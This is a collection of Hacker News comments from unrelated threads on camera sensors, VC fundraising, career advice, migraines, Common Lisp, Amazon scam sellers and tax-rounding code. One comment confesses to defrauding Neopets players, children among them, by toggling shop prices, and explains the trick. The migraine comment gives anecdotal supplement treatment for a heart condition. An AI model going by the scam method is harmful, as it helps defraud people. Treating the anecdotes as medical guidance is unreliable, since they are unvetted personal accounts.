Again, sampling in a similar pattern gives the same overall result. So, all else being equal, I'm not sure it makes sense.<p>Of course, there is the possibility that all else is not equal. Having multiple adjacent pixels of the same color could enable consolidating the signals of those pixels together earlier on in the image processing pipeline into an actual lower-resolution standard-Bayer signal. That could actually have real benefits if that early-stage signal combination results in a greater signal amplitude that drowns out noise.<p>Basically, this has all been kind of stream-of-consciousness and much longer than I originally planned, but here's the Cliff Notes from what I can tell.<p>In comparison to a Bayer sensor of the same pixel resolution...<p>Pros:<p>- (If implemented to take advantage, possibly) Ability to act as unified large pixels, increasing SNR at lower resolution settings<p>Cons:<p>- Less-fine maximum chroma resolution when all pixels are active |
Why fundraising is a terrible experience for founders: Lessons learned | Best I've seen about what early stage information technology VCs want to see:<p>(1) Product/service in and/or exploiting information technology with <i>traction</i> significant and growing rapidly. <i>Traction</i> can be number of paying customers, traffic to Web site (e.g., Comscore numbers) or, better, revenue, or best, earnings.<p>(2) The market large enough to permit a company worth $1+ billion in five years, no longer than 10 years.<p>(3) Something serious in a <i>Buffett moat</i>, that is, a way to beat, i.e., block, competitors. E.g., network effects, high switching costs, cases of lock in, technological advantage, e.g., <i>secret sauce</i>, a <i>platform</i> company that has advantages because others build on, depend on, the work of the company, etc.<p>(4) Team of at least two that does well covering both business and technology.<p>(5) Nothing obviously wrong, e.g., not depending on only one or just a few customers, no on-going co-founder disputes, no signs of being sloppy, no signs of criminality, no signs of drug or alcohol problems, no big problems with communications, no bad prior investor situations, etc.<p>My guess from reading VC Web sites was that they would make a "seed" investment, say, $150,000, with (A) a highly qualified team, (B) some excellent, powerful, valuable <i>secret sauce</i>, work difficult to duplicate or equal, for (C) a service likely of interest to nearly everyone on the Internet, with (D) so far nothing comparable on the Internet, where (E) if successful, worth $0.5-1+ T. Nope. Instead, I conclude (A)-(E) flops and (1)-(5) is about it.<p>Okay. Wish I'd known that.<p>Indeed, in the last year or so there was a post by USV's Fred Wilson on his blog AVC.com of a company his firm had their eye on and off and on over some months pursued the company and finally talked them into taking the company's first equity investment. Lesson: If you really have what they want, then they will notice you and call you.<p>Indeed, likely the best "warm introduction" is that the VCs have already discovered the product/service and really, in the word of Paul Graham, "love" it.<p>A big surprise to me was the reaction of the information technology community to <i>secret sauce</i> technology: In my career, I've been used to seeing new technology carefully evaluated. I saw this in the beginning of my career in applied math and computing for mostly US national security around DC. E.g., I worked in the group that did the navigation satellites for the US Navy (GPS by the USAF was the second version; the Navy did the first version) and heard the stories of how the work was approved from just the basic physics, essentially back of the envelope. A long list of projects for US national security was funded just from proposals on paper that were carefully reviewed, e.g., the SR-71. My Ph.D. dissertation was carefully reviewed. My published papers were carefully reviewed.<p>For US information technology VCs, I had to conclude that under no circumstances would they take seriously anything technical about the technology or any technical reviews of the technology and, indeed, quite solidly would absolutely refuse any reviewing of the technology at all. Period. No exceptions. Feet locked 5' deep in reinforced concrete, they simply will not, Not, NOT, <i>NOT</i> consider a technical review of technology. NSF, NIH, ONR, etc. will review technology, insist on it, but information technology VCs will, in a word, <i>NOT</i>.<p>My understanding is that bio-medical VCs will review and take seriously reviews of the claimed new, powerful, valuable bio-medical technology.<p>The information technology VCs commonly claim on their Web sites that they want leading edge technology; they neglect to say that they will never consider any such technology in funding decisions and, indeed, will <i>NEVER</i> review it or consider any reviews of it. It was a surprise to me!<p>Okay by me; I just wish I'd known. The VC information technology Web sites were highly misleading. Okay -- gotta beware of that in business!!!! Being a determined entrepreneur ready to keep going after a few dozen "No" responses, the misleading VC Web sites cost me a LOT of important time, money, and effort. I was ripped off.<p>But, this is cast in concrete, wrapped in cast iron, and protected with a layer of uranium -- never but <i>NEVER</i> will an information technology VC pay any attention at all to a theorem and proof in measure theory!!!! Not in this solar system!!! Sure, uh, the flip side of that situation is an opportunity!!!!<p>Finally I reminded myself that in the US, coast to coast, from barns behind farm houses on 50 acres to cross road villages to ... the largest cities, entrepreneurs start and grow successful businesses without equity funding. How? Do well running 10 fast food restaurants -- pizza carryout, McDonald's, ... Chinese -- and can do well. Also, run a successful, local independent insurance agency that knows nearly everyone in town and, thus, has a fantastically good "loss ratio". Run the local, dominating electrical supply house, plumbing supply house, building materials house, or any of many cases of "big truck, little truck" businesses, that is, where buy with a big truck and sell with several little trucks. Commercial real estate. On and on. Can see a lot of examples on Main Street.<p>I used to go to yacht clubs; saw some big boats and some well off people; never saw anyone who took equity funding.<p>A guess: For nearly all the students at Ivy League colleges whose parents pay the tuition, the money was from running a successful family owned business without equity funding.<p>For starting a business, information technology should be a big advantage: E.g., last I checked, the price, quantity one, retail, of the AMD FX-8350 processor, 64 bit addressing, 8 cores, 4.0 GHz standard clock speed, goes for less than $100 (commonly was $300+ -- the one I have looks terrific). For less than $2000, can put together a Web server that is, in the history of computing back 20 years, just astoundingly powerful. If can build a Web site that is popular enough to keep that server half busy 24 x 7 and run ads at the rates suggested in the Meeker KPCB reports, then should be able to get revenue $100,000+ a month.<p>So, we're talking capex ballpark $2000. So, compare that with the capex for, say, just a grass mowing service -- riding mower, $10,000+, trailer for the mower, ~$5000, truck to pull the trailer, $30,000, etc. Or compare with the capex for a pizza carryout, an auto repair shop, and auto body shop.<p>With revenue of $100,000 a month, why bother with a dinky seed round of $1.7 million with the term sheet, vesting schedule, loss of control, too many lawyers, BoD, C-corp, etc.?<p>With revenue of $100,000 and the rest of (1)-(5), let the VCs call you while you have a dozen nice ways to tell them "No".<p>Don't be cruel to them: They are only finance guys who likely have never written much code and got an MBA instead of a Master of Science! They are unable to review any very technical <i>secret sauce</i>. And likely what they can fund is highly constrained by agreements with their limited partners who supplied nearly all the money. |
Ask HN: What were/are you doing at age 25? What would you change? | > only being 2 years into my job I still feel like I'm thrown into a pit<p>I think it will always feel like this. The best you can do is learn skills to make this easier to manage (whether they be about learning how to break projects up, wrangle in the right people, or learning technology)<p>When I was 25 I was one year out of grad school and starting my second job. What worked:<p>* Living cheaply. My expenses at the time were 2-3x cheaper than what they are now. To be fair though, I also make 2-3x more and my quality of life is much higher.<p>* Focusing on open source and skill building. I've consistently put in the time after hours and it has really paid off over the years. I've learned lots of small important skills through it. Most importantly I've learned how to GSD which is possibly the most important skill of all - you'd be surprised how many people know tons but just can't produce<p>* Having a narrow skill set. I've been with Ruby companies most of my career and, while I want to be doing more technical work, I'm now extremely valuable and competitive in the market<p>* Forcing myself into the toughest problems at companies. At every position I've been in I've talked my way into working on what I viewed as the hardest problems. Unfortunately a lot of these problem areas have little support (few people want to work on them) and it has led me to burnout multiple times, but the technical lessons I've learned working on large, difficult legacy systems have been invaluable in the long run.<p>* Dating. Having someone to balance me out has been really important. Now I'm happily married.<p>* Stopped binging video games. I was bad for awhile. In high school and college I played WoW a lot and had relationships through that game that I didn't want to give up, but my personal life suffered. Even if it wasn't WoW I would just play something else. I eventually went cold turkey on it all. I did and do still play some games occasionally, but I'm not up until 2AM with my face to a screen burning brain cells. Breaking this addiction has given me more time to focus on other things I care about<p>* Maxed out my 401k. Your 401k is an easy and strong investment vehicle. Take advantage of it while you are young<p>Here would be my criticisms to myself:<p>* Read all of the documentation. My next job was doing some integrations work at a company with heavy Cassandra use. Nobody knew how to use Cassandra and had I become an expert early then it would've paid dividends later<p>* Nobody will teach you anything - you need to teach yourself. Software is a tough field as it is very individual and self-driven. I always thought that a good technical mentor would teach me things but that has never happened throughout my entire career. Anything I've learned has been through my own sweat (although, to be fair, companies have enabled me in several cases by putting me in charge of projects)<p>* Focus on velocity. I've always read that staying productive is good (e.g. good TDD cycle, strong automation, etc), and I've done it from time to time on my projects and it has always been great. You really need to ruthlessly optimize for your time though and that means streamlining your day-to-day so you can do more<p>* Learn more about personal finance. I bought a new car when I was younger and spent money without really thinking about my goals. Now I'm wanting to buy property and having to budget much harder than I would had I thought about things years prior. Loans and investing can be tricky at first<p>* Focus on your personal happiness. This sounds obvious but who you are outside of your career is really important. You need a place to go to get away. For me that was playing guitar but I neglected this for a long time. Today I'm picking up more hobbies as well like baking bread and electronics. It's important to disconnect. I tend to fluctuate between things (1 month of after-hours career growth, 1 month of baking, 1 month of guitar, etc)<p>* Eat and drink well. Seriously, it's not worth living off of peanut butter & jelly and hot dogs. This is the shit I grew up with so I didn't know any better. My wife taught me about good food and it has really improved my life both in terms of health and happiness<p>* Read books. I used to read technical books but I never read many novels. If I could go back in time then even a novel a year would've been nice<p>* Burnout is real and it will happen to you if you don't actively manage it. "Working hard" is unproductive and stupid. You want to work smart and that means properly planning things out for exponential automated returns later instead of linear returns that require your sweat and blood as input<p>* Follow your motherfucking dreams. I've created BS excuses for myself over time and while I've been happy with my career and life there are things that I missed the boat on because I didn't stay dedicated (e.g. playing guitar out with bands trying to hustle and tour). Put in the time now. Don't put it off<p>* The "superstar team" surrounded by people of passion is a lie. Well - not really a lie, but it's not what you think it is. Quit trying to find the job with "amazing people". Putting expectations on other people to make a job is a recipe for disaster - join a place you like and that has growth and be the bar-setter |
Ask HN: Have you worked on the Sulake, Neopets, or Jagex team? | Hey Neopets team:<p>You probably fixed this now, but on the off chance you have not, confession time!<p>I played Neopets with my kids. We all really enjoyed it, and the fun little economy taught my kids a lot, so thanks for the good times.<p>On a "who can get more points in a week" run, I found myself way out classed! The kids had way more time and I was struggling to keep up. Don't ask why. I just got sucked in. No way was I going to get beat.<p>With a family bet in play, I decided to explore what might be possible for quick hacks to get points. I noticed there was consistent activity in the shops related to the lottery scratch tickets.<p>Buy one for 600, sell it for north of 1000 points, and the ticket could pay 1500 to whoever scratched it. This was a fun little market. The scarcity of the tickets would increase demand. Considerably at times. Players really liked scratching them for points!<p>So, I listed a ticket under market at the time and it was gone in seconds! Did that a few more times, all gone quick. Other players were snapping them up like crazy, but there always was an upper bound. Those would almost never sell.<p>I wondered how closely they were looking and listed a more expensive one at face value. That one never sold. But when I changed it to a few points below market, it sold rapidly, which gave me an idea...<p>List it for 5 to 10 percent points below market, then quickly add zeros to the sale price! Maybe eager players would not look.<p>Did it work?<p>Amazingly well. I did a handful of these expecting something to happen, but it never did.<p>So I upped it again, from 5 figures to 6. Still nothing, except one player messaged me. They were pissed, site bug, I played along. No worries, stay safe out there, you get the drill.<p>(Yeah, I know, pure evil)<p>Nobody knows you are an asshole Dad on Neopets, it seems.<p>That run got me totally caught up to the kids, who were all 6 figure players at this point. But I wanted more! Wanted to crush them, not just squeak a win out. I was not fucking around on this and there had been a lot of trash talk to smack back too.<p>Around this time, we had been talking about using the Neopets bank and the danger of walking around with all ones points in their pocket. And about interest. Make your points work for you.<p>What could go wrong? (Me)<p>Well, I went for it. Found out I can get bigger wins with the more rare and expensive tickets. So I bought one of those, and added the zeros to start fishing. Toggle back and forth, good price, rip off, good price, rip off...<p>BAM!<p>Over a million neopoints! It hit! Some poor soul moving too quick just got taken to the cleaners!<p>Then I got a message from the rightfully angry player: "I am gonna tell."<p>I replied, "that is what you get for carrying so many points around."<p>They said, "I am still gonna tell."<p>And then I felt really bad, and logged off. :( Did not give the points back though.<p>I found people did not notice going from 3 digit to 4 digit pricing. Even 5 would hit regularly.<p>But, when the price is 5 digits, going higher appears hard to see quickly. That's basically how I sold a lottery ticket for north of a million Neopoints.<p>I did show the kids the massive score, and honestly?<p>After telling them how it happened, they all began using the bank, and playing differently. Nobody said how to win. Remember that kiddies!<p>Good lesson in there for them, major league shitty modeling in there from me, and I still, surprisingly, feel a little bad. Neopets, at that early time, was a really fun, kid safe (mostly but for clowns like me) site.<p>A million points is real work!<p>Then the innocence faded, and we all moved on to bigger and better things.<p>And somewhere out there is a little one, older now, probably wiser, who may still be bitter about that quick, brutal trip to the school of hard knocks.<p>At that time, Neopets would process a shop transaction at the sale price no matter what the buyer actually saw. The price shown to the buyer did lag by a considerable amount of time. It would refresh, after some seconds. Buyers could refresh too, and that is why I toggled the pricing. Amazingly, it appears they would refresh a time or two and buy when the price was right. Or just move on.<p>One could just toggle the price back and forth, fishing essentially. A player moving quick, packing a lot of points was an easy catch. |
Ask HN: Migraine prophylaxis? | Of course I have no idea what your problem is. And while I'm not sure I ever quite raised to the level of "migraine", as I only on a couple of occasions got something like a full-blown aura or blurred vision, living with 3-4 major, debilitating headaches a week was a regular occurrence for me in my teens and 20s. (In hindsight I'm not even sure how I got through college. They mostly struck in the afternoon, so I guess I was mostly getting my life lived in the morning, which wasn't much fun since I was an evening person, due to, well, a good chunk of the things I'm about to list....)<p>In rough order: Discovering I had celiac disease. This was the big breakthrough without which I could make no progress, but it's not the only trigger I have.<p>Caffeine withdrawal; I have somewhat reluctantly dropped it from my diet because I withdraw at the drop of a hat (did you have 2.5 diet colas instead of 3 by 3pm? Headache time!) and I got tired of having to plan my days around making sure I got the right amount. (Possibly related to celiac; it can affect the speed with which things like that enter the blood stream.)<p>Discovering I'm not "allergic" to cashews or pistachios in the anaphylaxis sense but that they give me headaches.<p>Red dye 40. (Mostly in things I shouldn't be eating anyhow, but this was an extra twist of the knife.)<p>Poor sleeping posture; a new mattress for me was helpful, I'd recommend back exercises for everybody (specifically bridges), or at least everybody 6 foot plus.
Excessive snoring/sleep apnea.<p>Excessive sugar, or even just excessive simple starches; blood sugar spikes.<p>Dehydration. (For whatever reason, there are a number of situations in which my thirst signal is simply inadequate and I must consciously consume water. I don't die (obviously), but I get <i>massive</i> headaches here that do not respond worth a crap to any OTC painkiller very well. I'm still sorta trying to figure this one out to see if it's a symptom of some other underlying issue, or if it's just the way I am.)<p>Real root beer, for whatever reason; appears to be more than just the sugar. (This took a while since I don't drink it very often, but it ruined a couple of ice cream social-type things before I figured it out.)<p>I'm not sure if this was a headache trigger, but discovering that I had some major heart issues that was a total asshole and only appearing while I sleep (vagal paroxysmal atrial fibrillation), so I had almost no clue that I had the issue, almost certainly a further effect of celiac. Treated with magnesium, potassium, taurine and l-arginine, vitamin C, vitamin K, and vitamin D. (Yes, it takes almost all of those for me. Celiac is "fun" when it comes to nutrition; you "get" to learn a lot about nutrients.) The heart issue itself may have been causing headaches directly, it certainly indirectly contributed to the several reasons my sleep has been poor for most of my life.<p>I recommend trying something like an elimination diet: <a href="https://greatist.com/grow/easy-elimination-diet-for-food-intolerance" rel="nofollow">https://greatist.com/grow/easy-elimination-diet-for-food-int...</a> That particular link describes more of a "medium effort" sort of thing; you can also go whole hog and eat nothing but simple meats, fruits, and veggies for a while, and slowly fold things back in over weeks. It's extreme, but if you are someone who is sensitive/allergic to, say, soy, wheat, <i>and</i> dairy, it's really the only sane way to find that out. It blows to find out you've got one or more of the "major allergies" but it's a hell of lot better than <i>not</i> knowing!<p>Plus there's a chance you do the full elimination diet and it doesn't affect your migraines at all; well, you pretty much eliminated food issues in one fell swoop. Still a win.<p>Also grab a sleep recording app for your phone and record the audio of your sleep. I'm not sure science is 100% here yet but it seems to me we're going to end up in a place where basically all snoring beyond the most minor indicates bad sleep. If you've got a lot of snoring or any other sign your sleep is compromised, see about getting into a sleep study. In fact I pretty much just uniformly recommend everyone who has not done this do it, because the cost is virtually nil (the apps are free and it takes 5-10 minutes top to set this up for a night) and the potential benefits large; it's worth doing for anyone who isn't 100% sure they're awesomely healthy. If nothing else, the costs are so low it's just worth it to satisfy your own intellectual curiosity about how well you're sleeping; if you discover it's great, well, now you <i>know</i>, which is nice.<p>As you may have guessed from the previous paragraphs, it took me about 5-8 <i>years</i> to work it all out. But I have gone from being rocked by headaches almost continuously to pretty much never having a headache without knowing exactly what I did wrong, what I should have done instead, and how to prevent it in the future. Losing an evening to headaches is now almost always because I did something stupid, rather than inexplicable life. |
Ask HN: Who is using Common Lisp? | I've brought or used CL in a few companies.<p>2005: At a bank dealing with mortgage secondary markets, we snuck it into the Research group (where "research" isn't R&D but feeding information to the trading floor) for plowing through dirty data from multiple databases before our DBAs could make it available via Oracle. This hack helped keep the math & stats PhDs’ pipelines full.<p>Rationale for using CL: because values have type rather than variables (but may be asserted with CHECK-TYPE; see Google CL style guide), this essentially gave us late-binding of schema.<p>2006: at Zillow, we were building autonomous server farm control at a time when AWS still emerging. Unfortunately, two things happened at the same time. 1) There was a re-org in Ops leading to discontinuing contractors, so both of us had a 2 weeks to finish it and finish early. 2) SBCL had just reached 1.0 after years in 0.x land. One modification in the run up to SBCL v1.0 that I overlooked in the changelog was how bindings for special vars were handled across threads. It required a trivial fix, but we didn't track that down before time ran out-- oops!<p>Rationale for using CL: 2 guys still learning the language (one also working on Masters) got lots of traction quickly.<p>2007: at an education administration start-up, same colleague as from Zillow and I began working on a conceptual sibling to Amazon Dynamo, roughly when their original white paper came out. In 5 weeks, we had an MVP; Kevin wrote all the code, I helped with design and code reviews; it handled arbitrary data payloads and migration of data "ownership" by node. We were about to begin multi-node load & capacity measurements when the business joined a Microsoft incubator and removed all Unix-only folks.<p>Rationale for using CL: 2 guys, lots of traction quickly... plus, late binding of schema via MOP tricks.<p>I would like to believe that parts of this continue as Kevin’s vivace-graph despite being a very different animal.<p>2008: at a Seattle-based ad network (I still bear the shame...), the geek-macho angle was that this is one of the few types of businesses likely to see billions of requests per day. In 4 months, we were deployed at RackSpace and completed baseline load & capacity measurements.<p>There was an issue with garbage-collection after Hunchentoot would release a HTTP connection, because by the time FreeBSD would release the underlying TCP/IP structs, several minutes would elapse before gc could reclaim everything. Not ideal, but it was manageable!<p>Rationale for using CL: 1 guy, lots of traction, successful hand-off to new hire (the guy who later brought Clojure to Amazon’s retail side of the house).<p>Bonus: local Angels and VC (Madrona) came to us but then came the economic crash of 2008...<p>2009: recruited into Memetrics, a former startup that had been acquired by big consulting firm, and the core software was already written in CL from nearly a decade earlier. I was only in the core group briefly, but subsequent work using CL was my default choice and already approved. (Then again, I didn’t ask permission or beg forgiveness.) There were more dirty data cleaning tools and a Recommender system from which China’s answer to Amazon became a client. Mind you, they didn’t use this code, as they had their own, but it demonstrated that our group understood the principles. I still count this as a win.<p>Rationale for selecting CL: was decided by folks in Sydney before I arrived. Their head-hunter found me after their acquisition.<p>2013: Splunk acquired BugSense. BugSense used "Erlang, Lisp and C" (Scheme R4) for handling billions of inbound requests per day non-stop from all time zones into our cluster. While not CL, having previously gone sufficiently deep into CL allowed me getting from zero to presenting at Erlang Factory conference in exactly one year while reaching more than 25x performance increase with the pure-Erlang rewrite.<p>Rationale for selecting Lisp by their founder: made for malleable query language.<p>2015: wife wanted to move back to Canada after several years in Silicon Valley. Resurrected a pet project circa 2007, snagz.net, and I attempted founding a company. Back-end is CL for Natural Language Processing work-flow. Core NLP things now use spaCy.io, because their NLP-fu is far better than my self-taught version. Some intermediate working data sets were pushed into a slightly modified Anarki fork of HN, partly to see what the Arc language was about, and partly because that tool fit the (internal) need.<p>Rationale for selecting CL: Lisp is a beautiful language within which to work.<p>Others in and around Vancouver using CL: Routific mentions Rust and Common Lisp in their job postings; D-Wave previously mentioned Lisp in job postings but unable to see it today; there was at least one other, but I can’t recall.<p>In my early experience with Common Lisp, I would have said MACROS were key.<p>Then, pre-populating memory followed by #’sb-ext:save-lisp-and-die was a handy trick for improving cold-start times. (Alternative to using POSIX mmap().)<p>Now, it’s simply the joy of writing code in the language.<p>First milestone: parens disappear, because using the right editor config means never typing a single paren, and editing involves manipulating whole expressions with fluid motion.<p>Second: thinking how a function <i>should</i> be or <i>might</i> be named, points to something either in the HyperSpec or be the name of a package, thus easy internet search. Today, there’s Quicklisp.org and Quickdocs.org, making this even easier.<p>That said, I’m currently learning Rust and React-Native for a tiny mobile app, as each language can teach you something new.<p>But something in the Lisp family will be with me for the rest of my days. I might go with Racket next just to expand my knowledge there.<p>So I recommend: use Common Lisp for a real project-- just because you can! |
How Sellers Trick Amazon to Boost Sales | As a collector of books on (among other topics) politics & religion, I've been thinking of buying a 73 volume full size Schottenstein Edition of the Talmud for quite a while. However, these usually go for > $2,000.00 in the US and > $3,000.00 in Europe. So you can consider my surprise when I stumbled on a new set at Amazon that's sold at $509, with only $14.95 shipping to Europe.<p>So I ordered the set. After some days, I get a notification that the set has been shipped. But no tracking number, which is odd for a shipment of such value.<p>After a week or two, I contacted the seller if they could give me a tracking number or at least confirm the address they sent it to. They gave no tracking number a confirmed the shipping address, but left out the country.<p>So I asked in response if they could confirm the country. I then was told that the address the shipment was sent to was the address in my contact info, without details.<p>So I again contacted them with the request to explicitly confirm the shipping country. Then I was told that they could not find me other and therefore refunded my money.<p>Two weeks later, I went back to Amazon and noticed they re-listed the item (<a href="https://www.amazon.com/gp/product/B01A68XF9I/" rel="nofollow">https://www.amazon.com/gp/product/B01A68XF9I/</a>).<p>Then, I noticed several buyers complaining about items sent to the wrong address, packages being incomplete, etc :<p>* "1 out of 5 stars I ordered Love is in the Earth, a Kaleidoscope of Crystals. 7/30/18 -I received the wrong book in error Love is in the Earth- Laying on of Stones. I have contacted the store through Amazon, received a response and sent photos of the wrong book cover, back, spine and invoice. Awaiting response"<p>* "I have been back and forth with this seller about sending us two copies of the wrong ISBN. They have yet to provide a full refund for both books we ordered. They only provided a 50% refund at this point, and it has been more than a week of attempting to get our money back. Do not trust this seller to provide you with the correct items!"<p>* "Only one book out of the 10 book set arrived. A mistake was made. The seller responded timely and was very courteous."<p>* "The book arrived well before the expected delivery date but it was definitely not the version I ordered. The description was for the beautiful UK cover edition and I received the cheap mass market paperback production version. Contacted the seller and after multiple e-mails back and forth and pictures sent they ended up refunding the cost of the book so I ended up just paying for shipping."<p>* "The order that was listed as delivered on June 26, 2018 never arrived. The seller had us confirm our shipping address on July 7, 2018. Now it is July 26, 2018 and the missing order issue has not been resolved. Time for a complete refund of purchase price and shipping costs bookercafe."<p>* "I have not received my order and it is saying delivered. Can you tell me who signed for this? ORDER NUMBER 113-3032376-5177066"<p>* "I have purchased two books from this store and one of these orders had been canceled without notification and a fake tracking number has been submitted for the second one. Please refund as soon as possible."<p>* "lists books they actually don't have. now I have to be troubled to ensure I am refunded."<p>* "My book never arrived at my mailing address, even though there was a USPS tracking number. When I contacted USPS, they told me it was delivered to the shipping address listed on the packing slip (which was not mine). I contacted the seller, and they told me it must have been a bad tracking number. Haven't heard back...haven't received the book either. I have now submitted a refund request."<p>* "1 out of 5 stars Another reviewer called it a scam when the book didn't arrive even though there was a tracking number that said it did. Seller told him it was sent to another address. Guess what? Same thing happened to me. A bad tracking number and the excuse that it was sent to a different address. I never heard from them again after they said they would check into it. I've submitted a refund request."<p>* "I ordered five books from them. One arrived OK, the other four never came but they kept my money for almost a month. One had no tracking number, the other three all had fake tracking numbers, re-used numbers that showed the books were delivered to three other cities. I had to fight them and contact Amazon to get a promise of refunds, and they are still stalling. Cheaters"<p>* ...<p>Overall, however, customers appear satisfied and the store has a feedback score of 91% for 335 ratings.<p>However, judging by the fact that 309 of those reviews were from the last 90 days, the store seems to exist only about 4 to 6 months on Amazon.<p>Something else I noticed, is that I get their > 400,000 results and that there are quite a few items listed for the same amount of $509, most of which I can't imagine are actually worth that much and are sold by other sellers at much lower prices :<p>* Douglas Adams: The Hitchhiker Trilogy (<a href="https://www.amazon.com/Douglas-Adams-Hitchhiker-Trilogy/dp/B0043WOFQG/ref=olp_product_details?_encoding=UTF8&me=&qid=1533211023&sr=1-3" rel="nofollow">https://www.amazon.com/Douglas-Adams-Hitchhiker-Trilogy/dp/B...</a>)<p>* Diablo III: Book of Cain (<a href="https://www.amazon.com/Diablo-III-Deckard-Blizzard-Entertainment/dp/B00A7JO7XA/ref=olp_product_details?_encoding=UTF8&me=&qid=1533211023&sr=1-10" rel="nofollow">https://www.amazon.com/Diablo-III-Deckard-Blizzard-Entertain...</a>)<p>* The American Pageant (<a href="https://www.amazon.com/American-Pageant-fifteenth-Kennedy-Hardcover/dp/B00OVLVJEK/ref=sr_1_44?m=AZD3XT1OLC6P2&s=merchant-items&ie=UTF8&qid=1533212898&sr=1-44" rel="nofollow">https://www.amazon.com/American-Pageant-fifteenth-Kennedy-Ha...</a>)<p>* Calculus: Concepts and Applications (<a href="https://www.amazon.com/Calculus-Concepts-Applications-Paul-Foerster/dp/1559536543/ref=sr_1_49?m=AZD3XT1OLC6P2&s=merchant-items&ie=UTF8&qid=1533212939&sr=1-49" rel="nofollow">https://www.amazon.com/Calculus-Concepts-Applications-Paul-F...</a>)<p>* The Free Range Cook: Simple Pleasures (<a href="https://www.amazon.com/Free-Range-Cook-Simple-Pleasures/dp/B017V8JR7U/ref=sr_1_50?m=AZD3XT1OLC6P2&s=merchant-items&ie=UTF8&qid=1533212939&sr=1-50" rel="nofollow">https://www.amazon.com/Free-Range-Cook-Simple-Pleasures/dp/B...</a>)<p>* O'Connor Violin Method Book I and CD (<a href="https://www.amazon.com/OConnor-Violin-Method-Book-CD/dp/B005AZCQ2A/ref=sr_1_84?m=AZD3XT1OLC6P2&s=merchant-items&ie=UTF8&qid=1533212985&sr=1-84" rel="nofollow">https://www.amazon.com/OConnor-Violin-Method-Book-CD/dp/B005...</a>)<p>* Winnie the Pooh Complete Collection 30 Books Box Set (<a href="https://www.amazon.com/Winnie-Complete-Collection-Books-Slipcase/dp/B00IVPAK0G/ref=sr_1_90?m=AZD3XT1OLC6P2&s=merchant-items&ie=UTF8&qid=1533212985&sr=1-90" rel="nofollow">https://www.amazon.com/Winnie-Complete-Collection-Books-Slip...</a>)<p>* No Excuses! The Power of Self-discipline (<a href="https://www.amazon.com/Excuses-Power-Self-discipline-Brian-Hardcover/dp/B00ZLW9C1U/ref=sr_1_93?m=AZD3XT1OLC6P2&s=merchant-items&ie=UTF8&qid=1533212985&sr=1-93" rel="nofollow">https://www.amazon.com/Excuses-Power-Self-discipline-Brian-H...</a>)<p>* Straight White Men (<a href="https://www.amazon.com/Straight-White-Young-March-Paperback/dp/B015X4BMHM/ref=sr_1_152?m=AZD3XT1OLC6P2&s=merchant-items&ie=UTF8&qid=1533213142&sr=1-152" rel="nofollow">https://www.amazon.com/Straight-White-Young-March-Paperback/...</a>)<p>* Sequential Spelling 3: Teacher's Guide (<a href="https://www.amazon.com/Sequential-Spelling-3-Teachers-Guide/dp/B005OBASF2/ref=sr_1_188?m=AZD3XT1OLC6P2&s=merchant-items&ie=UTF8&qid=1533213301&sr=1-188" rel="nofollow">https://www.amazon.com/Sequential-Spelling-3-Teachers-Guide/...</a>)<p>* ...<p>The item I ordered has been re-listed at the same price point, a bit after I received my refund for it.<p>Interestingly, there are now 6 sellers offering the same set with "Used - Good" condition and prices ranging from $506.00 to $548.32. There were only 3 sellers when I checked last time. All of these 6 sellers have a storefront with 300,000 - 700,000 items in them. And this includes a new shop that hasn't sold anything yet!<p>Since I received my refund As the store I ordered from is the only one shipping to Europe, I asked them if they'd ship be willing to sell it to me again. First they were eager and even offered a 30% discount. When I asked if they could add tracking for a second order, the tone became less friendly and I was asked to remove my (negative) feedback for the initial order.<p>I'd also asked an explanation for what went wrong with my order but haven't received any.<p>I also came to notice that this seller uses a kind of broken English very reminiscent of the broken English of sellers on AliExpress. So I suspect that her native language is Chinese and this account is a good example of a Chinese scammer account. And the same probably applies as well to the other 5 accounts I spotted which sell the same item at roughly the same place.<p>AliExpress sure has its flaws, but I never really had that much issues with ordering on AliExpress. And I certainly never came close to experiences as strange / fishy on AliExpress as my recent experience with third party sellers on Amazon... which really surprises me, as this type of seller should be easy to spot, even by an algorithm!<p>I'll definitely think twice next time I see an interesting book - or set of books - on Amazon that's sold by a third party seller! I feel like Amazon urgently has some serious closet cleaning to do! |
Is Cobol holding you hostage with Math? | I recently went through our Perl, Python, PHP, and JavaScript code making sure sales tax and VAT calculations were right, particular when the sale amount and tax rate were both in floating point (damn legacy code...). During the course of this, I found some good test cases. They are given below.<p>Let R = the tax rate x 10000, in a jurisdiction where the tax rate is an integral multiple of 0.0001. Note that R is an integer.<p>Let A = the sale amount x 100, in a jurisdiction where prices are an integral multiple of 0.01. I.e., in the US, A is the sale amount in cents. Note that A is an integer.<p>Let T = the tax * 100, or in US terms, the tax in cents. Note that T is an integer.<p>If you can arrange to keep your amounts in cents and your rates in the x 10000 form (or whatever is appropriate for the jurisdiction), then you only need integers and things are simple:<p><pre><code> def tax(A, R):
T = (A * R + 5000)//10000
return T
</code></pre>
You probably have to go from cents to dollars somewhere, such as when informing the user of prices, taxes, and totals. I believe that integer/100, rounded to 2 places in all cases and printed in all of the above languages will be correct, but I kind of cheated and for display results I treated it as a string manipulation problem, not a number problem (which also takes care of making sure amounts less than $1 have a leading 0, and that multiples of 0.1 have a trailing zero) [1].<p>If you don't have the amount and rate in the nice integer forms above, but rather have them in floating point such as you get from parsing a string like 12.34 (for a price of $12.34) or 0.086 (for a tax of 8.6%), here are three functions to return the tax in cents that might seem reasonable, and you might think are properly handling rounding:<p><pre><code> def tax_f1(amt, rate):
tax = round(amt * rate,2)
return round(tax * 100)
def tax_f2(amt, rate):
return round(amt*rate*100)
def tax_f3(amt, rate):
return round(amt*rate*100+.5)
</code></pre>
Alas, they are all flawed.<p><pre><code> input f1 f2 f3
------------- --- --- ---
1% of $21.50 21 22 22 ( 22 is right)
3% of $21.50 65 64 65 ( 65 is right)
6% of $21.50 129 129 130 (129 is right)
10% of $21.15 211 211 212 (212 is right)
</code></pre>
It does work to convert from floating point to the x 100 and x 10000 integer form, and then use the integer function given earlier:<p><pre><code> def tax_f4(amt, rate):
amt = round(amt * 100)
rate = round(rate * 10000)
tax = (amt * rate + 5000)//10000
return tax
def tax_f5(amt, rate):
amt = int(amt * 100 + .5)
rate = int(rate * 10000 + .5)
tax = (amt * rate + 5000)//10000
return tax
</code></pre>
